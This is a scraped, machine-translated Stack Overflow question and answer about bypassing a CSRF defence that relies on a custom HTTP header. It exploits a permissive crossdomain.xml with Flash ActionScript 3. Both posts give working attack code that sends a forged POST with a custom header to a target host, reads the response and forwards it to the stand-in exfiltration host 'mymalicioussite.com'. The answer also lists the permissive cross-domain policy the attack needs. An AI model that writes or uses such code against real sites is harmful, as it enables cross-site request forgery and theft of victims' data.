通过弱 CrossDomain.xml 使用 ActionScript 绕过 CSRF

Posted

技术标签:

【中文标题】通过弱 CrossDomain.xml 使用 ActionScript 绕过 CSRF【英文标题】:CSRF Bypass using ActionScript via weak CrossDomain.xml 【发布时间】:2017-08-18 22:30:37 【问题描述】:

我有一个具有弱 CrossDomain.xml 的目标,但它可以防止 CSRF 攻击查看自定义 HTTP 标头之一。我在几个网站上发现了以下动作脚本,除了没有设置标题之外,它运行良好。

此操作脚本向“Target.htm”发送一个 POST 请求,我需要它来设置任何自定义标头,例如 Test-Header:

package 
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLVariables;
    import flash.net.URLRequestHeader;

    public class FlashTest extends Sprite 

        public function FlashTest() 
            // write as3 code here..
            //Target URL           
            var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
            var readFrom:String = "http://192.168.100.4/Target.htm";
            var readRequest:URLRequest = new URLRequest(readFrom);
            readRequest.data  = "ThisDoesNotMatter"
            readRequest.method = URLRequestMethod.POST
            readRequest.requestHeaders.push(header);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try
            
                getLoader.load(readRequest);
            
            catch(error:Error)
            

            
        

        private function eventHandler(event:Event):void
        
            var sendTO:String = "http://mymalicioussite.com";
            var sendRequest:URLRequest = new URLRequest(sendTO);
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = event.target.data;
            var sendLoader:URLLoader = new URLLoader();
            try
            
                sendLoader.load(sendRequest);
            
            catch(error:Error)
            

            
          
        
      

目标上的CrossDomain.XML:

    <?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*" secure="true" />
</cross-domain-policy>

任何帮助将不胜感激。 带有 GET 请求而不是 POST 的工作代码也可以作为目标同时接受 GET 和 POST 请求。据我所知,仅允许使用 POST 请求设置自定义标头,但带有任何标准 HTTP 标头的 GET 请求至少现在对我有用。

【问题讨论】:

【参考方案1】:

在执行了一些测试之后,我能够修改上述脚本以设置任何自定义标头(浏览器不允许的 Referer 和 User-Agent 标头除外):

另外,这仅在目标和攻击机器应具有以下 crossdomain.xml 时才有效:

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
 <allow-access-from domain="*" secure="false"  />
 <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

这是对我有用的 AS3 脚本:

package 
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;

public class FlashTest extends Sprite 

    public function FlashTest() 
        // write as3 code here..

        //Set Header
        var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];

        //Target URL           
        var readFrom:String = "http://192.168.253.133/Target.htm";
        var readRequest:URLRequest = new URLRequest(readFrom);
        readRequest.requestHeaders = headers;
        readRequest.data  = "ThisDoesNotMatter" //POST data
        readRequest.method = URLRequestMethod.POST
        //readRequest.requestHeaders.push();
        var getLoader:URLLoader = new URLLoader();
        getLoader.addEventListener(Event.COMPLETE, eventHandler);
        try
        
            getLoader.load(readRequest);
        
        catch(error:Error)
        

        
    

    private function eventHandler(event:Event):void
    
        var sendTO:String = "http://mymalicioussite.com";
        var sendRequest:URLRequest = new URLRequest(sendTO);
        sendRequest.method = URLRequestMethod.POST;
        sendRequest.data = event.target.data;
        var sendLoader:URLLoader = new URLLoader();
        try
        
            sendLoader.load(sendRequest);
        
        catch(error:Error)
        

        
      
    
//package 

【讨论】:

以上是关于通过弱 CrossDomain.xml 使用 ActionScript 绕过 CSRF的主要内容,如果未能解决你的问题,请参考以下文章

Amazon S3 crossdomain.xml 始终显示 403 Forbidden

跨域策略文件crossdomain.xml文件

由于缺少 crossdomain.xml,无法获取个人资料图片

Rejected because no crossdomain.xml policy file was found

Rejected because no crossdomain.xml policy file was found

jwplayer 不支持 crossdomain.xml